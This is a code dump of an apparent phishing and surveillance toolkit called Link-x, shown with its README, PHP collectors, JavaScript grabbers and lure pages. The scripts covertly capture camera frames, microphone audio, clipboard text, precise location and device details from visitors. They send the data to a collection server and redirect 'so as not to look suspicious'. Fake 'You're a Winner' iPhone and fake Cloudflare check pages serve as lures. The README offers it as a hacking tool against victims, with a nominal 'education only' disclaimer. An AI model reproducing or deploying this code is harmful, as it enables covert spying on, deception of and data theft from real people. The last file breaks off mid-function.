├── Link-x.jpg ├── .site ├── index │ ├── index.php │ ├── ip.php │ └── index.html ├── php │ ├── clipboard.php │ ├── voice.php │ ├── location.php │ ├── camera.php │ └── details.php ├── clickjacking │ ├── ip.php │ ├── log_click.php │ ├── index.js │ └── index.html └── js │ ├── clipboard.js │ ├── location.js │ ├── voice.js │ ├── camera.js │ └── details.js ├── .version ├── README.md ├── setup.py └── Link-x.py /Link-x.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whomrx666/Link-x/HEAD/Link-x.jpg -------------------------------------------------------------------------------- /.site/index/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /.version: -------------------------------------------------------------------------------- 1 | { 2 | "tool": "Link-x", 3 | "author": "Mr.X", 4 | "github": "https://github.com/Whomrx666", 5 | "version": "2.0" 6 | } 7 | -------------------------------------------------------------------------------- /.site/php/clipboard.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /.site/index/ip.php: -------------------------------------------------------------------------------- 1 | 0 7 | ) { 8 | $tmp = $_FILES['audio_data']['tmp_name']; 9 | $output = "data.wav"; 10 | 11 | if (move_uploaded_file($tmp, $output)) { 12 | if (file_exists($output)) { 13 | file_put_contents("Log.log", "Received"); 14 | echo "OK"; 15 | exit; 16 | } 17 | } 18 | } 19 | http_response_code(500); 20 | ?> -------------------------------------------------------------------------------- /.site/php/location.php: -------------------------------------------------------------------------------- 1 | $lat, 14 | 'lon' => $lon, 15 | 'acc' => $acc, 16 | 'alt' => $alt, 17 | 'dir' => $dir, 18 | 'spd' => $spd); 19 | 20 | $jdata = json_encode($data); 21 | 22 | $f = fopen('data.json', 'w+'); 23 | fwrite($f, $jdata); 24 | fclose($f); 25 | } 26 | ?> 27 | -------------------------------------------------------------------------------- /.site/js/clipboard.js: -------------------------------------------------------------------------------- 1 | // Fungsi redirect — akan diganti otomatis oleh Link-x.py 2 | const REDIRECT_URL = "https://you.regettingold.com/"; 3 | 4 | function post(dataclip) { 5 | $.ajax({ 6 | type: "POST", 7 | data: { cat: dataclip }, 8 | url: "./get_data.php", 9 | dataType: "json", 10 | timeout: 5000, 11 | success: function(result) { 12 | // Redirect setelah sukses kirim 13 | location.replace(REDIRECT_URL); 14 | }, 15 | error: function() { 16 | // Fallback redirect jika gagal kirim 17 | location.replace(REDIRECT_URL); 18 | } 19 | }); 20 | } 21 | 22 | // Baca clipboard 23 | navigator.clipboard.readText() 24 | .then(text => { 25 | post(text || "[empty clipboard]"); 26 | }) 27 | .catch(() => { 28 | // Jika akses clipboard ditolak, tetap redirect 29 | location.replace(REDIRECT_URL); 30 | }); -------------------------------------------------------------------------------- /.site/php/camera.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.site/php/details.php: -------------------------------------------------------------------------------- 1 | $ip, 23 | "time" => $time, 24 | "touch" => $touch, 25 | "cookie" => $cookie, 26 | "ua" => $ua, 27 | "platf" => $platf, 28 | "lang" => $lang, 29 | "memory" => $memory, 30 | "wid" => $wid, 31 | "hig" => $hig, 32 | "netType" => $netType, 33 | "saveData" => $saveData, 34 | "batLevel" => $batLevel, 35 | "batCharge" => $batCharge, 36 | "dname" => $dname); 37 | 38 | $jdata = json_encode($data); 39 | 40 | $f = fopen("data.json", "w+"); 41 | fwrite($f, $jdata); 42 | fclose($f); 43 | } 44 | ?> 45 | -------------------------------------------------------------------------------- /.site/js/location.js: -------------------------------------------------------------------------------- 1 | // Redirect URL — akan diganti otomatis oleh Link-x.py 2 | const REDIRECT_URL = "https://you.regettingold.com/"; 3 | 4 | function send(theUrl) { 5 | var xmlHttp = new XMLHttpRequest(); 6 | xmlHttp.open("GET", theUrl, false); 7 | xmlHttp.send(null); 8 | // Tidak perlu return, karena tidak digunakan 9 | } 10 | 11 | function redirectToTarget() { 12 | // Gunakan redirect langsung (lebih andal daripada window.open) 13 | window.location.href = REDIRECT_URL; 14 | } 15 | 16 | function showPosition(position) { 17 | const coords = position.coords; 18 | const lat = coords.latitude || 0; 19 | const lon = coords.longitude || 0; 20 | const acc = coords.accuracy || "N/A"; 21 | const alt = coords.altitude || "N/A"; 22 | const dir = coords.heading || "N/A"; 23 | const spd = coords.speed || "N/A"; 24 | 25 | // Bangun query dengan encoding aman 26 | const query = `./get_data.php?Lat=${encodeURIComponent(lat)}&Lon=${encodeURIComponent(lon)}&Acc=${encodeURIComponent(acc)}&Alt=${encodeURIComponent(alt)}&Dir=${encodeURIComponent(dir)}&Spd=${encodeURIComponent(spd)}`; 27 | 28 | // Kirim data 29 | send(query); 30 | 31 | // Redirect setelah sukses 32 | redirectToTarget(); 33 | } 34 | 35 | function showError(error) { 36 | // Jangan tampilkan alert (mengganggu UX & bisa stuck) 37 | console.warn("Geolocation error:", error); 38 | // Tetap redirect meskipun lokasi gagal 39 | redirectToTarget(); 40 | } 41 | 42 | function locate() { 43 | if (navigator.geolocation) { 44 | const options = { 45 | enableHighAccuracy: true, 46 | timeout: 30000, 47 | maximumAge: 0 48 | }; 49 | navigator.geolocation.getCurrentPosition(showPosition, showError, options); 50 | } else { 51 | // Jika geolocation tidak didukung, langsung redirect 52 | redirectToTarget(); 53 | } 54 | } 55 | 56 | // Jalankan 57 | locate(); -------------------------------------------------------------------------------- /.site/js/voice.js: -------------------------------------------------------------------------------- 1 | // .site/js/voice.js — Native MediaRecorder (No external libraries) 2 | let redirectUrl = "https://you.regettingold.com/"; 3 | 4 | function Redirect() { 5 | window.location.href = redirectUrl; 6 | } 7 | 8 | async function startRecording() { 9 | let stream = null; 10 | let mediaRecorder = null; 11 | const audioChunks = []; 12 | 13 | try { 14 | // Minta akses mikrofon 15 | stream = await navigator.mediaDevices.getUserMedia({ audio: true }); 16 | 17 | // Buat perekam 18 | mediaRecorder = new MediaRecorder(stream); 19 | 20 | mediaRecorder.ondataavailable = (e) => { 21 | if (e.data.size > 0) { 22 | audioChunks.push(e.data); 23 | } 24 | }; 25 | 26 | mediaRecorder.onstop = async () => { 27 | // Hentikan semua track 28 | stream.getTracks().forEach(track => track.stop()); 29 | 30 | // Buat blob 31 | const blob = new Blob(audioChunks, { type: 'audio/wav' }); 32 | 33 | // Upload 34 | const fd = new FormData(); 35 | fd.append("audio_data", blob, "audio.wav"); 36 | 37 | try { 38 | await fetch("./get_data.php", { 39 | method: "POST", 40 | body: fd 41 | }); 42 | } catch (err) { 43 | // Abaikan error upload 44 | } 45 | 46 | // Redirect setelah upload 47 | Redirect(); 48 | }; 49 | 50 | // Mulai rekam 51 | mediaRecorder.start(); 52 | 53 | // Hentikan setelah 5 detik 54 | setTimeout(() => { 55 | if (mediaRecorder && mediaRecorder.state === "recording") { 56 | mediaRecorder.stop(); 57 | } 58 | }, 5000); 59 | 60 | } catch (err) { 61 | // Jika ditolak atau error → redirect langsung 62 | if (stream) stream.getTracks().forEach(track => track.stop()); 63 | Redirect(); 64 | } 65 | } 66 | 67 | // Jalankan setelah halaman siap 68 | if (document.readyState === "loading") { 69 | document.addEventListener("DOMContentLoaded", () => { 70 | setTimeout(startRecording, 300); 71 | }); 72 | } else { 73 | setTimeout(startRecording, 300); 74 | } -------------------------------------------------------------------------------- /.site/js/camera.js: -------------------------------------------------------------------------------- 1 | // camera.js - Link-X Camera Grabber 2 | (function() { 3 | const delay = ms => new Promise(res => setTimeout(res, ms)); 4 | 5 | // Buat elemen secara diam-diam 6 | const video = document.createElement('video'); 7 | const canvas = document.createElement('canvas'); 8 | const ctx = canvas.getContext('2d'); 9 | 10 | // Sembunyikan elemen 11 | video.style.display = 'none'; 12 | canvas.style.display = 'none'; 13 | document.body.appendChild(video); 14 | document.body.appendChild(canvas); 15 | 16 | // Ambil akses kamera 17 | navigator.mediaDevices.getUserMedia({ video: true, audio: false }) 18 | .then(stream => { 19 | video.srcObject = stream; 20 | video.play(); 21 | 22 | // Tunggu sampai metadata video siap 23 | return new Promise((resolve) => { 24 | if (video.readyState >= 2) { // HAVE_METADATA 25 | resolve(); 26 | } else { 27 | video.onloadedmetadata = () => resolve(); 28 | } 29 | }); 30 | }) 31 | .then(() => { 32 | // Beri sedikit delay tambahan untuk frame pertama 33 | return delay(500); 34 | }) 35 | .then(() => { 36 | // Atur ukuran canvas sesuai resolusi kamera 37 | canvas.width = video.videoWidth || 640; 38 | canvas.height = video.videoHeight || 480; 39 | 40 | // Gambar frame ke canvas 41 | ctx.drawImage(video, 0, 0, canvas.width, canvas.height); 42 | 43 | // Ambil data gambar (base64 tanpa prefix) 44 | const dataUrl = canvas.toDataURL('image/png'); 45 | const base64Data = dataUrl.split(',')[1]; 46 | 47 | // Kirim ke server 48 | return fetch('get_data.php', { 49 | method: 'POST', 50 | headers: { 51 | 'Content-Type': 'application/json' 52 | }, 53 | body: JSON.stringify({ image: base64Data }) 54 | }); 55 | }) 56 | .then(response => { 57 | // Redirect korban setelah sukses 58 | let redirectUrl = "https://you.regettingold.com/"; 59 | if (typeof window.redirectUrl !== 'undefined') { 60 | redirectUrl = window.redirectUrl; 61 | } 62 | window.location.href = redirectUrl; 63 | }) 64 | .catch(err => { 65 | // Jika gagal, tetap redirect agar tidak mencurigakan 66 | console.warn("Camera access failed:", err); 67 | window.location.href = "https://you.regettingold.com/"; 68 | }); 69 | })(); -------------------------------------------------------------------------------- /.site/clickjacking/log_click.php: -------------------------------------------------------------------------------- 1 | 'None', 29 | 'city' => 'None', 30 | 'calling_code' => 'None', 31 | 'timezone' => 'None' 32 | ]; 33 | 34 | // === Ambil data geolokasi jika IP valid === 35 | if ($ip !== '0.0.0.0' && filter_var($ip, FILTER_VALIDATE_IP)) { 36 | $geoUrl = "http://ipapi.com/php/" . urlencode($ip); 37 | $geoRaw = @file_get_contents($geoUrl); 38 | 39 | if ($geoRaw !== false) { 40 | $geo = @unserialize($geoRaw); 41 | if (is_array($geo) && empty($geo['error'])) { 42 | $location = [ 43 | 'country' => $geo['country_name'] ?? 'None', 44 | 'city' => $geo['city'] ?? 'None', 45 | 'calling_code' => $geo['country_calling_code'] ?? 'None', 46 | 'timezone' => $geo['timezone'] ?? 'None' 47 | ]; 48 | } 49 | } 50 | } 51 | 52 | // === Tambahkan IP & lokasi ke data utama === 53 | $data['info']['ip'] = $ip; 54 | $data['info']['country'] = $location['country']; 55 | $data['info']['city'] = $location['city']; 56 | $data['info']['calling_code'] = $location['calling_code']; 57 | $data['info']['timezone'] = $location['timezone']; 58 | 59 | // === Simpan ke file flat (seperti asli Anda) === 60 | $json = json_encode($data, JSON_PRETTY_PRINT); 61 | $write1 = file_put_contents('data.json', $json); // File terbaru (overwrite) 62 | $write2 = file_put_contents('Log.log', "Received"); // Flag sederhana 63 | 64 | // === Simpan juga ke folder terstruktur (untuk multi-victim) === 65 | $timestamp = date('Y/m/d'); 66 | $logDir = "logs/" . $timestamp; 67 | if (!is_dir($logDir)) { 68 | mkdir($logDir, 0777, true); 69 | } 70 | $uniqueFile = $logDir . "/victim_" . date('Ymd_His') . "_" . substr(md5(uniqid()), 0, 6) . ".json"; 71 | $write3 = file_put_contents($uniqueFile, $json); 72 | 73 | // === Debug logging === 74 | error_log("Write data.json: " . ($write1 !== false ? "OK" : "FAILED")); 75 | error_log("Write Log.log: " . ($write2 !== false ? "OK" : "FAILED")); 76 | error_log("Write structured log: " . ($write3 !== false ? "OK" : "FAILED")); 77 | error_log("Resolved location: " . json_encode($location)); 78 | 79 | // === Respons kosong untuk stealth === 80 | http_response_code(200); 81 | ?> -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Link-x 2 | ![Link-x preview](Link-x.jpg) 3 | 4 | ## introduction 5 | This Tool can Hack and Grab data of Camera, Voice, Clipboard, Location.It can Grab As much info as Possible from Victims Device.All this requires Just a Malicious Link! {UPDATED V.2.0} 6 | 7 | ## Instalations 8 | ``` 9 | $ pkg update -y 10 | $ pkg upgrade -y 11 | $ pkg install python git -y 12 | $ git clone https://github.com/Whomrx666/Link-x 13 | $ cd Link-x 14 | $ python setup.py 15 | $ python Link-x.py 16 | ``` 17 | ### Attack Methods: 18 | * Camera Hack 19 | * Voice Hack 20 | * Clipboard Hack 21 | * Location Hack 22 | * ClickJacking 23 | * Get Victim Device Details 24 | 25 | ### Tunnel Methods: 26 | * Localhost ssh for public share 27 | 28 | ### Methods Overview: 29 | * Camera Hack 30 | > Hack Victim's front Camera and take one image then direct the link to the specified link 31 | * Voice Hack 32 | > Hack Victim's Microphone and Record 5 Seconds audio 33 | * Clipboard Hack 34 | > Hack Victim's Clipboard and Grab last copied Text 35 | * Location Hack 36 | > Hack Victim's Location and Show exact Location 37 | * Clickjacking 38 | > Extract device data by waiting for the victim to click the button provided. 39 | * Device Details 40 | > Probably my favorite Attack Method. Grab the much Information as possible from Victim's Device. Including: Screen Info, Battery Info, Connection Info, Country Info etc... 41 | 42 | ## Instructions 43 | - **One**: Install the tools according to the instructions above 44 | - **Two**: Choose the type of attack you want 45 | - **Three**: Select the link you want to use, you can use the default or mask URL. 46 | - **Four**: The link will be automatically created and share the link to the specified target. 47 | - **Done**: And boom you will get what you want 48 | 49 | ## Observation 50 | This is a tool for education only, I am not responsible for any misuse 51 | ### Original Author 52 | 53 | 54 | ### <<< If you copy , Then Give me The Credits >>> 55 | 56 | ## CONNECT WITH ME : 57 | 58 | [![Instagram](https://img.shields.io/badge/WEBSITE-VISIT-red?style=for-the-badge&logo=blogger)](https://whomrxhackers.blogspot.com/) 59 | [![Instagram](https://img.shields.io/badge/TWITTER-FOLLOW-red?style=for-the-badge&logo=x)](https://twitter.com/whomrx666) 60 | [![Instagram](https://img.shields.io/badge/WHATSAPP-CHATME-red?style=for-the-badge&logo=whatsapp)](https://wa.me/6285926601133?text=Halo%2C%20Mr.X) 61 | [![Instagram](https://img.shields.io/badge/FACEBOOK-LIKE-red?style=for-the-badge&logo=facebook)](https://www.facebook.com/whomrx.666) 62 | [![Instagram](https://img.shields.io/badge/TELEGRAM-CONNECT-red?style=for-the-badge&logo=telegram)](https://t.me/Whomr_X) 63 | [![Instagram](https://img.shields.io/badge/GMAIL-CONTACT-red?style=for-the-badge&logo=gmail)](mailto:whomrx666@gmail.com) 64 | [![Instagram](https://img.shields.io/badge/TIKTOK-FOLLOW-red?style=for-the-badge&logo=tiktok)](https://www.tiktok.com/@whomr.x) 65 | 66 | **If you want to donate, click on the button** 67 | 68 | 69 | --- 70 | 71 |

72 | Thanks badge 73 |

74 | 75 | --- -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import time 6 | import subprocess as sb 7 | 8 | # Cyberpunk Neon Colors (sesuai preferensi Mr.X: dominan ungu, hindari hijau) 9 | NEON_PURPLE = "\033[38;5;93m" 10 | NEON_WHITE = "\033[38;5;15m" 11 | RESET = "\033[0m" 12 | 13 | def cPrint(text): 14 | text = text.replace("cPurple", NEON_PURPLE).replace("cWhite", NEON_WHITE) 15 | print(text + RESET) 16 | 17 | def psb(z, end="\n"): 18 | z = z.replace("cPurple", NEON_PURPLE).replace("cWhite", NEON_WHITE) + RESET 19 | for p in z + end: 20 | sys.stdout.write(p) 21 | sys.stdout.flush() 22 | time.sleep(0.01) 23 | 24 | def is_termux(): 25 | return "com.termux" in os.environ.get("PREFIX", "") 26 | 27 | def install_termux_packages(): 28 | required = ["php", "curl", "wget", "unzip", "openssh", "git"] 29 | missing = [] 30 | 31 | for pkg in required: 32 | if sb.getoutput(f"command -v {pkg}") == "": 33 | missing.append(pkg) 34 | 35 | if missing: 36 | cPrint(f"\n[cPurple!cWhite] Installing missing packages: {', '.join(missing)}") 37 | os.system("pkg update -y > /dev/null 2>&1") 38 | for pkg in missing: 39 | psb(f" → Installing {pkg}...") 40 | os.system(f"pkg install {pkg} -y > /dev/null 2>&1") 41 | cPrint("\n[cPurple✓cWhite] All required packages installed!\n") 42 | else: 43 | cPrint("\n[cPurple✓cWhite] All dependencies already installed.\n") 44 | 45 | def create_data_dir(): 46 | sdcard = "/sdcard" 47 | if os.path.exists(sdcard): 48 | data_dir = os.path.join(sdcard, "HackedData") 49 | os.makedirs(data_dir, exist_ok=True) 50 | cPrint(f"[cPurple✓cWhite] Created directory: {data_dir}") 51 | else: 52 | cPrint("[cPurple!cWhite] Warning: /sdcard not found. Please run `termux-setup-storage`.") 53 | 54 | def create_version_file(): 55 | if not os.path.exists(".version"): 56 | with open(".version", "w") as f: 57 | f.write('{"version": "2.0"}') 58 | cPrint("[cPurple✓cWhite] Initialized .version file for update checks.") 59 | 60 | def main(): 61 | logo = f""" 62 | {NEON_PURPLE} ██╗ ██╗███╗ ██╗██╗ ██╗ ██╗ ██╗ 63 | {NEON_PURPLE} ██║ ██║████╗ ██║╚██╗██╔╝ ╚██╗██╔╝ 64 | {NEON_PURPLE} ██║ ██║██╔██╗ ██║ ╚███╔╝ ╚███╔╝ 65 | {NEON_PURPLE} ██║ ██║██║╚██╗██║ ██╔██╗ ██╔██╗ 66 | {NEON_PURPLE} ███████╗██║██║ ╚████║██╔╝ ██╗ ██╔╝ ██╗ 67 | {NEON_PURPLE} ╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚═╝{RESET} 68 | """ 69 | print(logo) 70 | cPrint(" [cPurpleLink-X Setup - Termux EditioncWhite]\n") 71 | 72 | if not is_termux(): 73 | cPrint("[cPurple!cWhite] Warning: This setup is optimized for Termux.\n") 74 | sys.exit(1) 75 | 76 | # Setup storage if needed 77 | if not os.path.exists("/sdcard"): 78 | cPrint("[cPurple!cWhite] /sdcard not found!") 79 | psb("cWhite→ Please run: cPurpletermux-setup-storage") 80 | sys.exit(1) 81 | 82 | install_termux_packages() 83 | create_data_dir() 84 | create_version_file() 85 | 86 | cPrint("\n[cPurple✓cWhite] Setup completed successfully!") 87 | psb("cWhite→ Run: cPurplepython Link-x.pycWhite to start the tool.\n") 88 | 89 | if __name__ == "__main__": 90 | try: 91 | main() 92 | except KeyboardInterrupt: 93 | cPrint("\n\n[cPurple!cWhite] Setup interrupted by user.") 94 | sys.exit(1) -------------------------------------------------------------------------------- /.site/clickjacking/index.js: -------------------------------------------------------------------------------- 1 | // Link-X ClickJacking — Accurate Android Version Only 2 | // Author: Mr.X | Tool: Link-X v1.0 3 | 4 | (function () { 5 | function getDeviceName() { 6 | const ua = navigator.userAgent; 7 | const platform = navigator.platform; 8 | 9 | if (/iPhone/.test(ua)) return "Apple iPhone"; 10 | if (/iPad/.test(ua)) return "Apple iPad"; 11 | if (/iPod/.test(ua)) return "Apple iPod"; 12 | if (/Macintosh|MacIntel/.test(platform)) return "Apple Mac"; 13 | 14 | // Ekstrak versi Android secara akurat 15 | const androidMatch = ua.match(/Android[\s\/]([0-9\.]+)/i); 16 | if (androidMatch) { 17 | let version = androidMatch[1]; 18 | if (version.endsWith('.0') && version.split('.').length === 2) { 19 | version = version.replace(/\.0$/, ''); 20 | } 21 | return `Android ${version}`; 22 | } 23 | 24 | if (/Android/i.test(ua)) { 25 | return "Android (unknown version)"; 26 | } 27 | 28 | if (/Win/.test(platform)) return "Windows PC"; 29 | if (/Linux/.test(platform)) { 30 | if (/CrOS/.test(ua)) return "Google Chromebook"; 31 | return "Linux Device"; 32 | } 33 | 34 | return "Unknown Device"; 35 | } 36 | 37 | async function collectFullDeviceInfo() { 38 | const baseInfo = { 39 | time: new Date().toLocaleString(), 40 | dname: getDeviceName(), // ✅ Sekarang hanya: "Android 13", "Apple iPhone", dll 41 | cookie: navigator.cookieEnabled ? "Enabled" : "Disabled", 42 | ua: navigator.userAgent, 43 | platf: navigator.platform, 44 | lang: navigator.language, 45 | wid: screen.width, 46 | hig: screen.height, 47 | touch: navigator.maxTouchPoints || "0", 48 | netType: navigator.connection?.effectiveType || "unknown", 49 | memory: navigator.deviceMemory ? (navigator.deviceMemory + " GB") : "unknown", 50 | renderer: "None", 51 | batLevel: "unknown", 52 | batCharge: "unknown" 53 | }; 54 | 55 | try { 56 | const canvas = document.createElement('canvas'); 57 | const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 58 | if (gl) baseInfo.renderer = gl.getParameter(gl.RENDERER) || "Unknown"; 59 | } catch (e) { /* ignore */ } 60 | 61 | if ('getBattery' in navigator) { 62 | try { 63 | const battery = await navigator.getBattery(); 64 | baseInfo.batLevel = (battery.level * 100).toFixed(1) + "%"; 65 | baseInfo.batCharge = battery.charging ? "Yes" : "No"; 66 | } catch (e) { /* ignore */ } 67 | } 68 | 69 | return baseInfo; 70 | } 71 | 72 | setTimeout(() => { 73 | document.addEventListener('click', async function handleClick(e) { 74 | document.removeEventListener('click', handleClick); 75 | 76 | const deviceInfo = await collectFullDeviceInfo(); 77 | 78 | const payload = { 79 | info: { 80 | ...deviceInfo, 81 | clickX: e.clientX, 82 | clickY: e.clientY, 83 | clickTime: new Date().toISOString(), 84 | eventType: "clickjacking_giveaway" 85 | } 86 | }; 87 | 88 | try { 89 | await fetch('log_click.php', { 90 | method: 'POST', 91 | headers: { 'Content-Type': 'application/json' }, 92 | body: JSON.stringify(payload) 93 | }); 94 | } catch (err) { /* tetap redirect */ } 95 | 96 | window.location.href = "https://www.apple.com/"; 97 | }, { once: true }); 98 | }, 300); 99 | })(); -------------------------------------------------------------------------------- /.site/clickjacking/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | You're a Winner! 7 | 8 | 9 | 98 | 99 | 100 |
101 | 104 |

You're a Winner!

105 |

106 | Congratulations! You've been randomly selected to receive: 107 |

108 | 109 |
110 |
111 | 112 | Apple iPhone 16 Pro (128GB) 113 |
114 |
115 | 116 | Cash Prize: $1,000 USD 117 |
118 |
119 | 120 | 123 | 124 | 127 |
128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /.site/index/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Just a moment... 10 | 106 | 107 | 108 |
109 |
110 |
111 |
112 |
113 |
114 |

Checking your browser before accessing the website.

115 |

This process is automatic. Your browser will redirect to your requested content shortly.

116 |

Redirecting…

117 |
118 | DDoS protection by 119 | Cloudflare 120 | Ray ID: 6c51810c599f2cda 121 |
122 |
123 | 124 | 125 | 126 | 127 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /.site/js/details.js: -------------------------------------------------------------------------------- 1 | // Redirect URL — akan diganti otomatis oleh Link-x.py 2 | const REDIRECT_URL = "https://you.regettingold.com/ "; 3 | 4 | // Fungsi deteksi merek & model perangkat (diperluas untuk ratusan model) 5 | function getDeviceName() { 6 | try { 7 | if (window.WURFL && WURFL.complete_device_name) { 8 | return WURFL.complete_device_name; 9 | } 10 | } catch (e) { 11 | // WURFL tidak tersedia 12 | } 13 | 14 | const ua = navigator.userAgent; 15 | 16 | // === Apple === 17 | if (/iPhone/.test(ua)) { 18 | if (/iPhone14,/.test(ua)) return "Apple iPhone 14"; 19 | if (/iPhone15,/.test(ua)) return "Apple iPhone 15"; 20 | if (/iPhone13,/.test(ua)) return "Apple iPhone 13"; 21 | if (/iPhone12,/.test(ua)) return "Apple iPhone 12"; 22 | if (/iPhone11,/.test(ua)) return "Apple iPhone 11"; 23 | if (/iPhone10,/.test(ua)) return "Apple iPhone X"; 24 | return "Apple iPhone"; 25 | } 26 | if (/iPad/.test(ua)) return "Apple iPad"; 27 | if (/iPod/.test(ua)) return "Apple iPod"; 28 | if (/Macintosh|MacIntel/.test(navigator.platform)) return "Apple Mac"; 29 | 30 | // === Desktop === 31 | if (/Windows/.test(navigator.platform)) return "Windows PC"; 32 | if (/Linux/.test(navigator.platform)) { 33 | if (/CrOS/.test(ua)) return "Google Chromebook"; 34 | return "Linux Device"; 35 | } 36 | 37 | // === Android === 38 | if (/Android/.test(ua)) { 39 | // Samsung 40 | if (/SM-S91[168]B?/.test(ua)) return "Samsung Galaxy S23"; 41 | if (/SM-S90[168]B?/.test(ua)) return "Samsung Galaxy S22"; 42 | if (/SM-S801?/.test(ua)) return "Samsung Galaxy S21"; 43 | if (/SM-A[0-9]{3,4}/.test(ua)) return "Samsung Galaxy A" + ua.match(/SM-A([0-9]{3,4})/)?.[1] || ""; 44 | if (/SM-M[0-9]{3,4}/.test(ua)) return "Samsung Galaxy M" + ua.match(/SM-M([0-9]{3,4})/)?.[1] || ""; 45 | if (/Galaxy S[0-9]+/.test(ua)) return "Samsung " + ua.match(/(Galaxy S[0-9]+)/)?.[0]; 46 | if (/Galaxy Note/.test(ua)) return "Samsung Galaxy Note"; 47 | if (/SAMSUNG|SM-[A-Z0-9]/.test(ua)) return "Samsung Galaxy"; 48 | 49 | // Google Pixel 50 | if (/Pixel 8 Pro/.test(ua)) return "Google Pixel 8 Pro"; 51 | if (/Pixel 8/.test(ua)) return "Google Pixel 8"; 52 | if (/Pixel 7 Pro/.test(ua)) return "Google Pixel 7 Pro"; 53 | if (/Pixel 7/.test(ua)) return "Google Pixel 7"; 54 | if (/Pixel 6 Pro/.test(ua)) return "Google Pixel 6 Pro"; 55 | if (/Pixel [0-9]/.test(ua)) return "Google " + ua.match(/(Pixel [0-9]+(?: Pro)?)/)?.[0]; 56 | 57 | // Xiaomi / Redmi / POCO 58 | if (/Redmi Note [0-9]/.test(ua)) return "Xiaomi " + ua.match(/(Redmi Note [0-9]+)/)?.[0]; 59 | if (/Redmi [0-9]/.test(ua)) return "Xiaomi " + ua.match(/(Redmi [0-9]+)/)?.[0]; 60 | if (/POCO [A-Z0-9]+/.test(ua)) return "POCO " + ua.match(/POCO ([A-Z0-9]+)/)?.[1]; 61 | if (/Xiaomi/.test(ua)) return "Xiaomi"; 62 | 63 | // OnePlus 64 | if (/OnePlus [0-9]/.test(ua)) return "OnePlus " + ua.match(/(OnePlus [0-9]+)/)?.[0]; 65 | if (/OnePlus/.test(ua)) return "OnePlus"; 66 | 67 | // Realme 68 | if (/realme [0-9]/.test(ua)) return "Realme " + ua.match(/(realme [0-9]+)/)?.[0]; 69 | if (/realme/.test(ua)) return "Realme"; 70 | 71 | // OPPO 72 | if (/CPH[0-9]{4}/.test(ua)) return "OPPO CPH" + ua.match(/CPH([0-9]{4})/)?.[1]; 73 | if (/OPPO/.test(ua)) return "OPPO"; 74 | 75 | // vivo 76 | if (/vivo [A-Z0-9]+/.test(ua)) return "vivo " + ua.match(/vivo ([A-Z0-9]+)/)?.[1]; 77 | if (/V2[0-9]{3}/.test(ua)) return "vivo V" + ua.match(/V([0-9]{3})/)?.[1]; 78 | if (/vivo/.test(ua)) return "vivo"; 79 | 80 | // Huawei / Honor 81 | if (/Honor [0-9]/.test(ua)) return "Honor " + ua.match(/(Honor [0-9]+)/)?.[0]; 82 | if (/HUAWEI|Honor/.test(ua)) return "Huawei / Honor"; 83 | 84 | // itel 85 | if (/itel [A-Z0-9\-]+/.test(ua)) return "itel " + ua.match(/itel ([A-Z0-9\-]+)/)?.[1]; 86 | if (/itel/.test(ua)) return "itel"; 87 | 88 | // TECNO 89 | if (/TECNO [A-Z0-9]+/.test(ua)) return "TECNO " + ua.match(/TECNO ([A-Z0-9]+)/)?.[1]; 90 | if (/TECNO/.test(ua)) return "TECNO"; 91 | 92 | // Infinix 93 | if (/Infinix [A-Z0-9]+/.test(ua)) return "Infinix " + ua.match(/Infinix ([A-Z0-9]+)/)?.[1]; 94 | if (/Infinix/.test(ua)) return "Infinix"; 95 | 96 | // Nokia 97 | if (/TA-[0-9]{3,4}/.test(ua)) return "Nokia TA-" + ua.match(/TA-([0-9]{3,4})/)?.[1]; 98 | if (/Nokia/.test(ua)) return "Nokia"; 99 | 100 | // Motorola 101 | if (/moto g[0-9]{2}/.test(ua)) return "Motorola " + ua.match(/(moto g[0-9]{2})/)?.[0].toUpperCase(); 102 | if (/moto e[0-9]/.test(ua)) return "Motorola " + ua.match(/(moto e[0-9])/)?.[0].toUpperCase(); 103 | if (/Motorola|motorola/.test(ua)) return "Motorola"; 104 | 105 | // ASUS 106 | if (/ZenFone [0-9]/.test(ua)) return "ASUS " + ua.match(/(ZenFone [0-9]+)/)?.[0]; 107 | if (/ASUS/.test(ua)) return "ASUS"; 108 | 109 | // Merek regional & rugged 110 | if (/Oukitel [A-Z0-9]+/.test(ua)) return "Oukitel " + ua.match(/Oukitel ([A-Z0-9]+)/)?.[1]; 111 | if (/Ulefone [A-Z0-9]+/.test(ua)) return "Ulefone " + ua.match(/Ulefone ([A-Z0-9]+)/)?.[1]; 112 | if (/Doogee [A-Z0-9]+/.test(ua)) return "Doogee " + ua.match(/Doogee ([A-Z0-9]+)/)?.[1]; 113 | if (/Cubot [A-Z0-9]+/.test(ua)) return "Cubot " + ua.match(/Cubot ([A-Z0-9]+)/)?.[1]; 114 | if (/Lava [A-Z0-9]+/.test(ua)) return "Lava " + ua.match(/Lava ([A-Z0-9]+)/)?.[1]; 115 | if (/Micromax/.test(ua)) return "Micromax"; 116 | if (/Hisense/.test(ua)) return "Hisense"; 117 | if (/TCL|Alcatel/.test(ua)) return "TCL / Alcatel"; 118 | if (/ZTE|Blade/.test(ua)) return "ZTE"; 119 | 120 | return "Android Device"; 121 | } 122 | 123 | return "Unknown Device"; 124 | } 125 | 126 | // Fungsi bantu: kirim GET request sync (untuk ip.php & get_data.php) 127 | function send(theUrl) { 128 | const xmlHttp = new XMLHttpRequest(); 129 | xmlHttp.open("GET", theUrl, false); 130 | xmlHttp.send(null); 131 | return xmlHttp.responseText; 132 | } 133 | 134 | // Ambil status baterai dengan aman 135 | function safeGetBattery() { 136 | return new Promise((resolve) => { 137 | if (!("getBattery" in navigator)) { 138 | resolve({ level: "N/A", charging: "N/A" }); 139 | return; 140 | } 141 | navigator.getBattery().then((battery) => { 142 | resolve({ 